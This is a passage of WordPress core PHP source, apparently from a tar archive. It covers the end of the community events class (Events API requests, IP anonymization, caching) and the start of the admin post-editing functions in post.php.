		$this->user_location = $user_location;
	}

	/**
	 * Gets data about events near a particular location.
	 *
	 * Cached events will be immediately returned if the `user_location` property
	 * is set for the current user, and cached events exist for that location.
	 *
	 * Otherwise, this method sends a request to the w.org Events API with location
	 * data. The API will send back a recognized location based on the data, along
	 * with nearby events.
	 *
	 * The browser's request for events is proxied with this method, rather
	 * than having the browser make the request directly to api.wordpress.org,
	 * because it allows results to be cached server-side and shared with other
	 * users and sites in the network. This makes the process more efficient,
	 * since increasing the number of visits that get cached data means users
	 * don't have to wait as often; if the user's browser made the request
	 * directly, it would also need to make a second request to WP in order to
	 * pass the data for caching. Having WP make the request also introduces
	 * the opportunity to anonymize the IP before sending it to w.org, which
	 * mitigates possible privacy concerns.
	 *
	 * @since 4.8.0
	 * @since 5.5.2 Response no longer contains formatted date field. They're added
	 *              in `wp.communityEvents.populateDynamicEventFields()` now.
	 *
	 * @param string $location_search Optional. City name to help determine the location.
	 *                                e.g., "Seattle". Default empty string.
	 * @param string $timezone        Optional. Timezone to help determine the location.
	 *                                Default empty string.
	 * @return array|WP_Error A WP_Error on failure; an array with location and events on
	 *                        success.
	 */
	public function get_events( $location_search = '', $timezone = '' ) {
		$cached_events = $this->get_cached_events();

		if ( ! $location_search && $cached_events ) {
			return $cached_events;
		}

		// Include an unmodified $wp_version.
		require ABSPATH . WPINC . '/version.php';

		$api_url                    = 'http://api.wordpress.org/events/1.0/';
		$request_args               = $this->get_request_args( $location_search, $timezone );
		$request_args['user-agent'] = 'WordPress/' . $wp_version . '; ' . home_url( '/' );

		if ( wp_http_supports( array( 'ssl' ) ) ) {
			$api_url = set_url_scheme( $api_url, 'https' );
		}

		$response       = wp_remote_get( $api_url, $request_args );
		$response_code  = wp_remote_retrieve_response_code( $response );
		$response_body  = json_decode( wp_remote_retrieve_body( $response ), true );
		$response_error = null;

		if ( is_wp_error( $response ) ) {
			$response_error = $response;
		} elseif ( 200 !== $response_code ) {
			$response_error = new WP_Error(
				'api-error',
				/* translators: %d: Numeric HTTP status code, e.g. 400, 403, 500, 504, etc. */
				sprintf( __( 'Invalid API response code (%d).' ), $response_code )
			);
		} elseif ( ! isset( $response_body['location'], $response_body['events'] ) ) {
			$response_error = new WP_Error(
				'api-invalid-response',
				isset( $response_body['error'] ) ? $response_body['error'] : __( 'Unknown API error.' )
			);
		}

		if ( is_wp_error( $response_error ) ) {
			return $response_error;
		} else {
			$expiration = false;

			if ( isset( $response_body['ttl'] ) ) {
				$expiration = $response_body['ttl'];
				unset( $response_body['ttl'] );
			}

			/*
			 * The IP in the response is usually the same as the one that was sent
			 * in the request, but in some cases it is different. In those cases,
			 * it's important to reset it back to the IP from the request.
			 *
			 * For example, if the IP sent in the request is private (e.g., 192.168.1.100),
			 * then the API will ignore that and use the corresponding public IP instead,
			 * and the public IP will get returned. If the public IP were saved, though,
			 * then get_cached_events() would always return `false`, because the transient
			 * would be generated based on the public IP when saving the cache, but generated
			 * based on the private IP when retrieving the cache.
			 */
			if ( ! empty( $response_body['location']['ip'] ) ) {
				$response_body['location']['ip'] = $request_args['body']['ip'];
			}

			/*
			 * The API doesn't return a description for latitude/longitude requests,
			 * but the description is already saved in the user location, so that
			 * one can be used instead.
			 */
			if ( $this->coordinates_match( $request_args['body'], $response_body['location'] ) && empty( $response_body['location']['description'] ) ) {
				$response_body['location']['description'] = $this->user_location['description'];
			}

			/*
			 * Store the raw response, because events will expire before the cache does.
			 * The response will need to be processed every page load.
			 */
			$this->cache_events( $response_body, $expiration );

			$response_body['events'] = $this->trim_events( $response_body['events'] );

			return $response_body;
		}
	}

	/**
	 * Builds an array of args to use in an HTTP request to the w.org Events API.
	 *
	 * @since 4.8.0
	 *
	 * @param string $search   Optional. City search string. Default empty string.
	 * @param string $timezone Optional. Timezone string. Default empty string.
	 * @return array The request args.
	 */
	protected function get_request_args( $search = '', $timezone = '' ) {
		$args = array(
			'number' => 5, // Get more than three in case some get trimmed out.
			'ip'     => self::get_unsafe_client_ip(),
		);

		/*
		 * Include the minimal set of necessary arguments, in order to increase the
		 * chances of a cache-hit on the API side.
		 */
		if ( empty( $search ) && isset( $this->user_location['latitude'], $this->user_location['longitude'] ) ) {
			$args['latitude']  = $this->user_location['latitude'];
			$args['longitude'] = $this->user_location['longitude'];
		} else {
			$args['locale'] = get_user_locale( $this->user_id );

			if ( $timezone ) {
				$args['timezone'] = $timezone;
			}

			if ( $search ) {
				$args['location'] = $search;
			}
		}

		// Wrap the args in an array compatible with the second parameter of `wp_remote_get()`.
		return array(
			'body' => $args,
		);
	}

	/**
	 * Determines the user's actual IP address and attempts to partially
	 * anonymize an IP address by converting it to a network ID.
	 *
	 * Geolocating the network ID usually returns a similar location as the
	 * actual IP, but provides some privacy for the user.
	 *
	 * $_SERVER['REMOTE_ADDR'] cannot be used in all cases, such as when the user
	 * is making their request through a proxy, or when the web server is behind
	 * a proxy. In those cases, $_SERVER['REMOTE_ADDR'] is set to the proxy address rather
	 * than the user's actual address.
	 *
	 * Modified from https://stackoverflow.com/a/2031935/450127, MIT license.
	 * Modified from https://github.com/geertw/php-ip-anonymizer, MIT license.
	 *
	 * SECURITY WARNING: This function is _NOT_ intended to be used in
	 * circumstances where the authenticity of the IP address matters. This does
	 * _NOT_ guarantee that the returned address is valid or accurate, and it can
	 * be easily spoofed.
	 *
	 * @since 4.8.0
	 *
	 * @return string|false The anonymized address on success; the given address
	 *                      or false on failure.
	 */
	public static function get_unsafe_client_ip() {
		$client_ip = false;

		// In order of preference, with the best ones for this purpose first.
		$address_headers = array(
			'HTTP_CLIENT_IP',
			'HTTP_X_FORWARDED_FOR',
			'HTTP_X_FORWARDED',
			'HTTP_X_CLUSTER_CLIENT_IP',
			'HTTP_FORWARDED_FOR',
			'HTTP_FORWARDED',
			'REMOTE_ADDR',
		);

		foreach ( $address_headers as $header ) {
			if ( array_key_exists( $header, $_SERVER ) ) {
				/*
				 * HTTP_X_FORWARDED_FOR can contain a chain of comma-separated
				 * addresses. The first one is the original client. It can't be
				 * trusted for authenticity, but we don't need to for this purpose.
				 */
				$address_chain = explode( ',', $_SERVER[ $header ] );
				$client_ip     = trim( $address_chain[0] );

				break;
			}
		}

		if ( ! $client_ip ) {
			return false;
		}

		$anon_ip = wp_privacy_anonymize_ip( $client_ip, true );

		if ( '0.0.0.0' === $anon_ip || '::' === $anon_ip ) {
			return false;
		}

		return $anon_ip;
	}

	/**
	 * Test if two pairs of latitude/longitude coordinates match each other.
	 *
	 * @since 4.8.0
	 *
	 * @param array $a The first pair, with indexes 'latitude' and 'longitude'.
	 * @param array $b The second pair, with indexes 'latitude' and 'longitude'.
	 * @return bool True if they match, false if they don't.
	 */
	protected function coordinates_match( $a, $b ) {
		if ( ! isset( $a['latitude'], $a['longitude'], $b['latitude'], $b['longitude'] ) ) {
			return false;
		}

		return $a['latitude'] === $b['latitude'] && $a['longitude'] === $b['longitude'];
	}

	/**
	 * Generates a transient key based on user location.
	 *
	 * This could be reduced to a one-liner in the calling functions, but it's
	 * intentionally a separate function because it's called from multiple
	 * functions, and having it abstracted keeps the logic consistent and DRY,
	 * which is less prone to errors.
	 *
	 * @since 4.8.0
	 *
	 * @param array $location Should contain 'latitude' and 'longitude' indexes.
	 * @return string|false Transient key on success, false on failure.
	 */
	protected function get_events_transient_key( $location ) {
		$key = false;

		if ( isset( $location['ip'] ) ) {
			$key = 'community-events-' . md5( $location['ip'] );
		} elseif ( isset( $location['latitude'], $location['longitude'] ) ) {
			$key = 'community-events-' . md5( $location['latitude'] . $location['longitude'] );
		}

		return $key;
	}

	/**
	 * Caches an array of events data from the Events API.
	 *
	 * @since 4.8.0
	 *
	 * @param array     $events     Response body from the API request.
	 * @param int|false $expiration Optional. Amount of time to cache the events. Defaults to false.
	 * @return bool true if events were cached; false if not.
	 */
	protected function cache_events( $events, $expiration = false ) {
		$set              = false;
		$transient_key    = $this->get_events_transient_key( $events['location'] );
		$cache_expiration = $expiration ? absint( $expiration ) : HOUR_IN_SECONDS * 12;

		if ( $transient_key ) {
			$set = set_site_transient( $transient_key, $events, $cache_expiration );
		}

		return $set;
	}

	/**
	 * Gets cached events.
	 *
	 * @since 4.8.0
	 * @since 5.5.2 Response no longer contains formatted date field. They're added
	 *              in `wp.communityEvents.populateDynamicEventFields()` now.
	 *
	 * @return array|false An array containing `location` and `events` items
	 *                     on success, false on failure.
	 */
	public function get_cached_events() {
		$transient_key = $this->get_events_transient_key( $this->user_location );
		if ( ! $transient_key ) {
			return false;
		}

		$cached_response = get_site_transient( $transient_key );
		if ( isset( $cached_response['events'] ) ) {
			$cached_response['events'] = $this->trim_events( $cached_response['events'] );
		}

		return $cached_response;
	}

	/**
	 * Adds formatted date and time items for each event in an API response.
	 *
	 * This has to be called after the data is pulled from the cache, because
	 * the cached events are shared by all users. If it was called before storing
	 * the cache, then all users would see the events in the localized data/time
	 * of the user who triggered the cache refresh, rather than their own.
	 *
	 * @since 4.8.0
	 * @deprecated 5.6.0 No longer used in core.
	 *
	 * @param array $response_body The response which contains the events.
	 * @return array The response with dates and times formatted.
	 */
	protected function format_event_data_time( $response_body ) {
		_deprecated_function(
			__METHOD__,
			'5.5.2',
			'This is no longer used by core, and only kept for backward compatibility.'
		);

		if ( isset( $response_body['events'] ) ) {
			foreach ( $response_body['events'] as $key => $event ) {
				$timestamp = strtotime( $event['date'] );

				/*
				 * The `date_format` option is not used because it's important
				 * in this context to keep the day of the week in the formatted date,
				 * so that users can tell at a glance if the event is on a day they
				 * are available, without having to open the link.
				 */
				/* translators: Date format for upcoming events on the dashboard. Include the day of the week. See https://www.php.net/manual/datetime.format.php */
				$formatted_date = date_i18n( __( 'l, M j, Y' ), $timestamp );
				$formatted_time = date_i18n( get_option( 'time_format' ), $timestamp );

				if ( isset( $event['end_date'] ) ) {
					$end_timestamp      = strtotime( $event['end_date'] );
					$formatted_end_date = date_i18n( __( 'l, M j, Y' ), $end_timestamp );

					if ( 'meetup' !== $event['type'] && $formatted_end_date !== $formatted_date ) {
						/* translators: Upcoming events month format. See https://www.php.net/manual/datetime.format.php */
						$start_month = date_i18n( _x( 'F', 'upcoming events month format' ), $timestamp );
						$end_month   = date_i18n( _x( 'F', 'upcoming events month format' ), $end_timestamp );

						if ( $start_month === $end_month ) {
							$formatted_date = sprintf(
								/* translators: Date string for upcoming events. 1: Month, 2: Starting day, 3: Ending day, 4: Year. */
								__( '%1$s %2$d–%3$d, %4$d' ),
								$start_month,
								/* translators: Upcoming events day format. See https://www.php.net/manual/datetime.format.php */
								date_i18n( _x( 'j', 'upcoming events day format' ), $timestamp ),
								date_i18n( _x( 'j', 'upcoming events day format' ), $end_timestamp ),
								/* translators: Upcoming events year format. See https://www.php.net/manual/datetime.format.php */
								date_i18n( _x( 'Y', 'upcoming events year format' ), $timestamp )
							);
						} else {
							$formatted_date = sprintf(
								/* translators: Date string for upcoming events. 1: Starting month, 2: Starting day, 3: Ending month, 4: Ending day, 5: Year. */
								__( '%1$s %2$d – %3$s %4$d, %5$d' ),
								$start_month,
								date_i18n( _x( 'j', 'upcoming events day format' ), $timestamp ),
								$end_month,
								date_i18n( _x( 'j', 'upcoming events day format' ), $end_timestamp ),
								date_i18n( _x( 'Y', 'upcoming events year format' ), $timestamp )
							);
						}

						$formatted_date = wp_maybe_decline_date( $formatted_date, 'F j, Y' );
					}
				}

				$response_body['events'][ $key ]['formatted_date'] = $formatted_date;
				$response_body['events'][ $key ]['formatted_time'] = $formatted_time;
			}
		}

		return $response_body;
	}

	/**
	 * Prepares the event list for presentation.
	 *
	 * Discards expired events, and makes WordCamps "sticky." Attendees need more
	 * advanced notice about WordCamps than they do for meetups, so camps should
	 * appear in the list sooner. If a WordCamp is coming up, the API will "stick"
	 * it in the response, even if it wouldn't otherwise appear. When that happens,
	 * the event will be at the end of the list, and will need to be moved into a
	 * higher position, so that it doesn't get trimmed off.
	 *
	 * @since 4.8.0
	 * @since 4.9.7 Stick a WordCamp to the final list.
	 * @since 5.5.2 Accepts and returns only the events, rather than an entire HTTP response.
	 * @since 6.0.0 Decode HTML entities from the event title.
	 *
	 * @param array $events The events that will be prepared.
	 * @return array The response body with events trimmed.
	 */
	protected function trim_events( array $events ) {
		$future_events = array();

		foreach ( $events as $event ) {
			/*
			 * The API's `date` and `end_date` fields are in the _event's_ local timezone, but UTC is needed so
			 * it can be converted to the _user's_ local time.
			 */
			$end_time = (int) $event['end_unix_timestamp'];

			if ( time() < $end_time ) {
				// Decode HTML entities from the event title.
				$event['title'] = html_entity_decode( $event['title'], ENT_QUOTES, 'UTF-8' );

				array_push( $future_events, $event );
			}
		}

		$future_wordcamps = array_filter(
			$future_events,
			static function ( $wordcamp ) {
				return 'wordcamp' === $wordcamp['type'];
			}
		);

		$future_wordcamps    = array_values( $future_wordcamps ); // Remove gaps in indices.
		$trimmed_events      = array_slice( $future_events, 0, 3 );
		$trimmed_event_types = wp_list_pluck( $trimmed_events, 'type' );

		// Make sure the soonest upcoming WordCamp is pinned in the list.
		if ( $future_wordcamps && ! in_array( 'wordcamp', $trimmed_event_types, true ) ) {
			array_pop( $trimmed_events );
			array_push( $trimmed_events, $future_wordcamps[0] );
		}

		return $trimmed_events;
	}

	/**
	 * Logs responses to Events API requests.
	 *
	 * @since 4.8.0
	 * @deprecated 4.9.0 Use a plugin instead. See #41217 for an example.
	 *
	 * @param string $message A description of what occurred.
	 * @param array  $details Details that provide more context for the
	 *                        log entry.
	 */
	protected function maybe_log_events_response( $message, $details ) {
		_deprecated_function( __METHOD__, '4.9.0' );

		if ( ! WP_DEBUG_LOG ) {
			return;
		}

		error_log(
			sprintf(
				'%s: %s. Details: %s',
				__METHOD__,
				trim( $message, '.' ),
				wp_json_encode( $details )
			)
		);
	}
}
post.php000064400000236223150275632050006257 0ustar00<?php
/**
 * WordPress Post Administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Renames `$_POST` data from form names to DB post columns.
 *
 * Manipulates `$_POST` directly.
 *
 * @since 2.6.0
 *
 * @param bool       $update    Whether the post already exists.
 * @param array|null $post_data Optional. The array of post data to process.
 *                              Defaults to the `$_POST` superglobal.
 * @return array|WP_Error Array of post data on success, WP_Error on failure.
 */
function _wp_translate_postdata( $update = false, $post_data = null ) {

	if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

	if ( $update ) {
		$post_data['ID'] = (int) $post_data['post_ID'];
	}

	$ptype = get_post_type_object( $post_data['post_type'] );

	if ( $update && ! current_user_can( 'edit_post', $post_data['ID'] ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to edit pages as this user.' ) );
		} else {
			return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to edit posts as this user.' ) );
		}
	} elseif ( ! $update && ! current_user_can( $ptype->cap->create_posts ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to create pages as this user.' ) );
		} else {
			return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to create posts as this user.' ) );
		}
	}

	if ( isset( $post_data['content'] ) ) {
		$post_data['post_content'] = $post_data['content'];
	}

	if ( isset( $post_data['excerpt'] ) ) {
		$post_data['post_excerpt'] = $post_data['excerpt'];
	}

	if ( isset( $post_data['parent_id'] ) ) {
		$post_data['post_parent'] = (int) $post_data['parent_id'];
	}

	if ( isset( $post_data['trackback_url'] ) ) {
		$post_data['to_ping'] = $post_data['trackback_url'];
	}

	$post_data['user_ID'] = get_current_user_id();

	if ( ! empty( $post_data['post_author_override'] ) ) {
		$post_data['post_author'] = (int) $post_data['post_author_override'];
	} else {
		if ( ! empty( $post_data['post_author'] ) ) {
			$post_data['post_author'] = (int) $post_data['post_author'];
		} else {
			$post_data['post_author'] = (int) $post_data['user_ID'];
		}
	}

	if ( isset( $post_data['user_ID'] ) && ( $post_data['post_author'] != $post_data['user_ID'] )
		&& ! current_user_can( $ptype->cap->edit_others_posts ) ) {

		if ( $update ) {
			if ( 'page' === $post_data['post_type'] ) {
				return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to edit pages as this user.' ) );
			} else {
				return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to edit posts as this user.' ) );
			}
		} else {
			if ( 'page' === $post_data['post_type'] ) {
				return new WP_Error( 'edit_others_pages', __( 'Sorry, you are not allowed to create pages as this user.' ) );
			} else {
				return new WP_Error( 'edit_others_posts', __( 'Sorry, you are not allowed to create posts as this user.' ) );
			}
		}
	}

	if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

		// No longer an auto-draft.
		if ( 'auto-draft' === $post_data['post_status'] ) {
			$post_data['post_status'] = 'draft';
		}

		if ( ! get_post_status_object( $post_data['post_status'] ) ) {
			unset( $post_data['post_status'] );
		}
	}

	// What to do based on which button they pressed.
	if ( isset( $post_data['saveasdraft'] ) && '' !== $post_data['saveasdraft'] ) {
		$post_data['post_status'] = 'draft';
	}
	if ( isset( $post_data['saveasprivate'] ) && '' !== $post_data['saveasprivate'] ) {
		$post_data['post_status'] = 'private';
	}
	if ( isset( $post_data['publish'] ) && ( '' !== $post_data['publish'] )
		&& ( ! isset( $post_data['post_status'] ) || 'private' !== $post_data['post_status'] )
	) {
		$post_data['post_status'] = 'publish';
	}
	if ( isset( $post_data['advanced'] ) && '' !== $post_data['advanced'] ) {
		$post_data['post_status'] = 'draft';
	}
	if ( isset( $post_data['pending'] ) && '' !== $post_data['pending'] ) {
		$post_data['post_status'] = 'pending';
	}

	if ( isset( $post_data['ID'] ) ) {
		$post_id = $post_data['ID'];
	} else {
		$post_id = false;
	}
	$previous_status = $post_id ? get_post_field( 'post_status', $post_id ) : false;

	if ( isset( $post_data['post_status'] ) && 'private' === $post_data['post_status'] && ! current_user_can( $ptype->cap->publish_posts ) ) {
		$post_data['post_status'] = $previous_status ? $previous_status : 'pending';
	}

	$published_statuses = array( 'publish', 'future' );

	/*
	 * Posts 'submitted for approval' are submitted to $_POST the same as if they were being published.
	 * Change status from 'publish' to 'pending' if user lacks permissions to publish or to resave published posts.
	 */
	if ( isset( $post_data['post_status'] )
		&& ( in_array( $post_data['post_status'], $published_statuses, true )
		&& ! current_user_can( $ptype->cap->publish_posts ) )
	) {
		if ( ! in_array( $previous_status, $published_statuses, true ) || ! current_user_can( 'edit_post', $post_id ) ) {
			$post_data['post_status'] = 'pending';
		}
	}

	if ( ! isset( $post_data['post_status'] ) ) {
		$post_data['post_status'] = 'auto-draft' === $previous_status ? 'draft' : $previous_status;
	}

	if ( isset( $post_data['post_password'] ) && ! current_user_can( $ptype->cap->publish_posts ) ) {
		unset( $post_data['post_password'] );
	}

	if ( ! isset( $post_data['comment_status'] ) ) {
		$post_data['comment_status'] = 'closed';
	}

	if ( ! isset( $post_data['ping_status'] ) ) {
		$post_data['ping_status'] = 'closed';
	}

	foreach ( array( 'aa', 'mm', 'jj', 'hh', 'mn' ) as $timeunit ) {
		if ( ! empty( $post_data[ 'hidden_' . $timeunit ] ) && $post_data[ 'hidden_' . $timeunit ] != $post_data[ $timeunit ] ) {
			$post_data['edit_date'] = '1';
			break;
		}
	}

	if ( ! empty( $post_data['edit_date'] ) ) {
		$aa = $post_data['aa'];
		$mm = $post_data['mm'];
		$jj = $post_data['jj'];
		$hh = $post_data['hh'];
		$mn = $post_data['mn'];
		$ss = $post_data['ss'];
		$aa = ( $aa <= 0 ) ? gmdate( 'Y' ) : $aa;
		$mm = ( $mm <= 0 ) ? gmdate( 'n' ) : $mm;
		$jj = ( $jj > 31 ) ? 31 : $jj;
		$jj = ( $jj <= 0 ) ? gmdate( 'j' ) : $jj;
		$hh = ( $hh > 23 ) ? $hh - 24 : $hh;
		$mn = ( $mn > 59 ) ? $mn - 60 : $mn;
		$ss = ( $ss > 59 ) ? $ss - 60 : $ss;

		$post_data['post_date'] = sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $aa, $mm, $jj, $hh, $mn, $ss );

		$valid_date = wp_checkdate( $mm, $jj, $aa, $post_data['post_date'] );
		if ( ! $valid_date ) {
			return new WP_Error( 'invalid_date', __( 'Invalid date.' ) );
		}

		/*
		 * Only assign a post date if the user has explicitly set a new value.
		 * See #59125 and #19907.
		 */
		$previous_date = $post_id ? get_post_field( 'post_date', $post_id ) : false;
		if ( $previous_date && $previous_date !== $post_data['post_date'] ) {
			$post_data['edit_date']     = true;
			$post_data['post_date_gmt'] = get_gmt_from_date( $post_data['post_date'] );
		} else {
			$post_data['edit_date'] = false;
			unset( $post_data['post_date'] );
			unset( $post_data['post_date_gmt'] );
		}
	}

	if ( isset( $post_data['post_category'] ) ) {
		$category_object = get_taxonomy( 'category' );
		if ( ! current_user_can( $category_object->cap->assign_terms ) ) {
			unset( $post_data['post_category'] );
		}
	}

	return $post_data;
}

/**
 * Returns only allowed post data fields.
 *
 * @since 5.0.1
 *
 * @param array|WP_Error|null $post_data The array of post data to process, or an error object.
 *                                       Defaults to the `$_POST` superglobal.
 * @return array|WP_Error Array of post data on success, WP_Error on failure.
 */
function _wp_get_allowed_postdata( $post_data = null ) {
	if ( empty( $post_data ) ) {
		$post_data = $_POST;
	}

	// Pass through errors.
	if ( is_wp_error( $post_data ) ) {
		return $post_data;
	}

	return array_diff_key( $post_data, array_flip( array( 'meta_input', 'file', 'guid' ) ) );
}

/**
 * Updates an existing post with values provided in `$_POST`.
 *
 * If post data is passed as an argument, it is treated as an array of data
 * keyed appropriately for turning into a post object.
 *
 * If post data is not passed, the `$_POST` global variable is used instead.
 *
 * @since 1.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array|null $post_data Optional. The array of post data to process.
 *                              Defaults to the `$_POST` superglobal.
 * @return int Post ID.
 */
function edit_post( $post_data = null ) {
	global $wpdb;

	if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

	// Clear out any data in internal vars.
	unset( $post_data['filter'] );

	$post_id = (int) $post_data['post_ID'];
	$post    = get_post( $post_id );

	$post_data['post_type']      = $post->post_type;
	$post_data['post_mime_type'] = $post->post_mime_type;

	if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

		if ( 'inherit' === $post_data['post_status'] ) {
			unset( $post_data['post_status'] );
		}
	}

	$ptype = get_post_type_object( $post_data['post_type'] );
	if ( ! current_user_can( 'edit_post', $post_id ) ) {
		if ( 'page' === $post_data['post_type'] ) {
			wp_die( __( 'Sorry, you are not allowed to edit this page.' ) );
		} else {
			wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
		}
	}

	if ( post_type_supports( $ptype->name, 'revisions' ) ) {
		$revisions = wp_get_post_revisions(
			$post_id,
			array(
				'order'          => 'ASC',
				'posts_per_page' => 1,
			)
		);
		$revision  = current( $revisions );

		// Check if the revisions have been upgraded.
		if ( $revisions && _wp_get_post_revision_version( $revision ) < 1 ) {
			_wp_upgrade_revisions_of_post( $post, wp_get_post_revisions( $post_id ) );
		}
	}

	if ( isset( $post_data['visibility'] ) ) {
		switch ( $post_data['visibility'] ) {
			case 'public':
				$post_data['post_password'] = '';
				break;
			case 'password':
				unset( $post_data['sticky'] );
				break;
			case 'private':
				$post_data['post_status']   = 'private';
				$post_data['post_password'] = '';
				unset( $post_data['sticky'] );
				break;
		}
	}

	$post_data = _wp_translate_postdata( true, $post_data );
	if ( is_wp_error( $post_data ) ) {
		wp_die( $post_data->get_error_message() );
	}
	$translated = _wp_get_allowed_postdata( $post_data );

	// Post formats.
	if ( isset( $post_data['post_format'] ) ) {
		set_post_format( $post_id, $post_data['post_format'] );
	}

	$format_meta_urls = array( 'url', 'link_url', 'quote_source_url' );
	foreach ( $format_meta_urls as $format_meta_url ) {
		$keyed = '_format_' . $format_meta_url;
		if ( isset( $post_data[ $keyed ] ) ) {
			update_post_meta( $post_id, $keyed, wp_slash( sanitize_url( wp_unslash( $post_data[ $keyed ] ) ) ) );
		}
	}

	$format_keys = array( 'quote', 'quote_source_name', 'image', 'gallery', 'audio_embed', 'video_embed' );

	foreach ( $format_keys as $key ) {
		$keyed = '_format_' . $key;
		if ( isset( $post_data[ $keyed ] ) ) {
			if ( current_user_can( 'unfiltered_html' ) ) {
				update_post_meta( $post_id, $keyed, $post_data[ $keyed ] );
			} else {
				update_post_meta( $post_id, $keyed, wp_filter_post_kses( $post_data[ $keyed ] ) );
			}
		}
	}

	if ( 'attachment' === $post_data['post_type'] && preg_match( '#^(audio|video)/#', $post_data['post_mime_type'] ) ) {
		$id3data = wp_get_attachment_metadata( $post_id );
		if ( ! is_array( $id3data ) ) {
			$id3data = array();
		}

		foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) {
			if ( isset( $post_data[ 'id3_' . $key ] ) ) {
				$id3data[ $key ] = sanitize_text_field( wp_unslash( $post_data[ 'id3_' . $key ] ) );
			}
		}
		wp_update_attachment_metadata( $post_id, $id3data );
	}

	// Meta stuff.
	if ( isset( $post_data['meta'] ) && $post_data['meta'] ) {
		foreach ( $post_data['meta'] as $key => $value ) {
			$meta = get_post_meta_by_id( $key );
			if ( ! $meta ) {
				continue;
			}

			if ( $meta->post_id != $post_id ) {
				continue;
			}

			if ( is_protected_meta( $meta->meta_key, 'post' )
				|| ! current_user_can( 'edit_post_meta', $post_id, $meta->meta_key )
			) {
				continue;
			}

			if ( is_protected_meta( $value['key'], 'post' )
				|| ! current_user_can( 'edit_post_meta', $post_id, $value['key'] )
			) {
				continue;
			}

			update_meta( $key, $value['key'], $value['value'] );
		}
	}

	if ( isset( $post_data['deletemeta'] ) && $post_data['deletemeta'] ) {
		foreach ( $post_data['deletemeta'] as $key => $value ) {
			$meta = get_post_meta_by_id( $key );
			if ( ! $meta ) {
				continue;
			}

			if ( $meta->post_id != $post_id ) {
				continue;
			}

			if ( is_protected_meta( $meta->meta_key, 'post' )
				|| ! current_user_can( 'delete_post_meta', $post_id, $meta->meta_key )
			) {
				continue;
			}

			delete_meta( $key );
		}
	}

	// Attachment stuff.
	if ( 'attachment' === $post_data['post_type'] ) {
		if ( isset( $post_data['_wp_attachment_image_alt'] ) ) {
			$image_alt = wp_unslash( $post_data['_wp_attachment_image_alt'] );

			if ( get_post_meta( $post_id, '_wp_attachment_image_alt', true ) !== $image_alt ) {
				$image_alt = wp_strip_all_tags( $image_alt, true );

				// update_post_meta() expects slashed.
				update_post_meta( $post_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
			}
		}

		$attachment_data = isset( $post_data['attachments'][ $post_id ] ) ? $post_data['attachments'][ $post_id ] : array();

		/** This filter is documented in wp-admin/includes/media.php */
		$translated = apply_filters( 'attachment_fields_to_save', $translated, $attachment_data );
	}

	// Convert taxonomy input to term IDs, to avoid ambiguity.
	if ( isset( $post_data['tax_input'] ) ) {
		foreach ( (array) $post_data['tax_input'] as $taxonomy => $terms ) {
			$tax_object = get_taxonomy( $taxonomy );

			if ( $tax_object && isset( $tax_object->meta_box_sanitize_cb ) ) {
				$translated['tax_input'][ $taxonomy ] = call_user_func_array( $tax_object->meta_box_sanitize_cb, array( $taxonomy, $terms ) );
			}
		}
	}

	add_meta( $post_id );

	update_post_meta( $post_id, '_edit_last', get_current_user_id() );

	$success = wp_update_post( $translated );

	// If the save failed, see if we can sanity check the main fields and try again.
	if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) {
		$fields = array( 'post_title', 'post_content', 'post_excerpt' );

		foreach ( $fields as $field ) {
			if ( isset( $translated[ $field ] ) ) {
				$translated[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $translated[ $field ] );
			}
		}

		wp_update_post( $translated );
	}

	// Now that we have an ID we can fix any attachment anchor hrefs.
	_fix_attachment_links( $post_id );

	wp_set_post_lock( $post_id );

	if ( current_user_can( $ptype->cap->edit_others_posts ) && current_user_can( $ptype->cap->publish_posts ) ) {
		if ( ! empty( $post_data['sticky'] ) ) {
			stick_post( $post_id );
		} else {
			unstick_post( $post_id );
		}
	}

	return $post_id;
}

/**
 * Processes the post data for the bulk editing of posts.
 *
 * Updates all bulk edited posts/pages, adding (but not removing) tags and
 * categories. Skips pages when they would be their own parent or child.
 *
 * @since 2.7.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array|null $post_data Optional. The array of post data to process.
 *                              Defaults to the `$_POST` superglobal.
 * @return array
 */
function bulk_edit_posts( $post_data = null ) {
	global $wpdb;

	if ( empty( $post_data ) ) {
		$post_data = &$_POST;
	}

	if ( isset( $post_data['post_type'] ) ) {
		$ptype = get_post_type_object( $post_data['post_type'] );
	} else {
		$ptype = get_post_type_object( 'post' );
	}

	if ( ! current_user_can( $ptype->cap->edit_posts ) ) {
		if ( 'page' === $ptype->name ) {
			wp_die( __( 'Sorry, you are not allowed to edit pages.' ) );
		} else {
			wp_die( __( 'Sorry, you are not allowed to edit posts.' ) );
		}
	}

	if ( -1 == $post_data['_status'] ) {
		$post_data['post_status'] = null;
		unset( $post_data['post_status'] );
	} else {
		$post_data['post_status'] = $post_data['_status'];
	}
	unset( $post_data['_status'] );

	if ( ! empty( $post_data['post_status'] ) ) {
		$post_data['post_status'] = sanitize_key( $post_data['post_status'] );

		if ( 'inherit' === $post_data['post_status'] ) {
			unset( $post_data['post_status'] );
		}
	}

	$post_ids = array_map( 'intval', (array) $post_data['post'] );

	$reset = array(
		'post_author',
		'post_status',
		'post_password',
		'post_parent',
		'page_template',
		'comment_status',
		'ping_status',
		'keep_private',
		'tax_input',
		'post_category',
		'sticky',
		'post_format',
	);

	foreach ( $reset as $field ) {
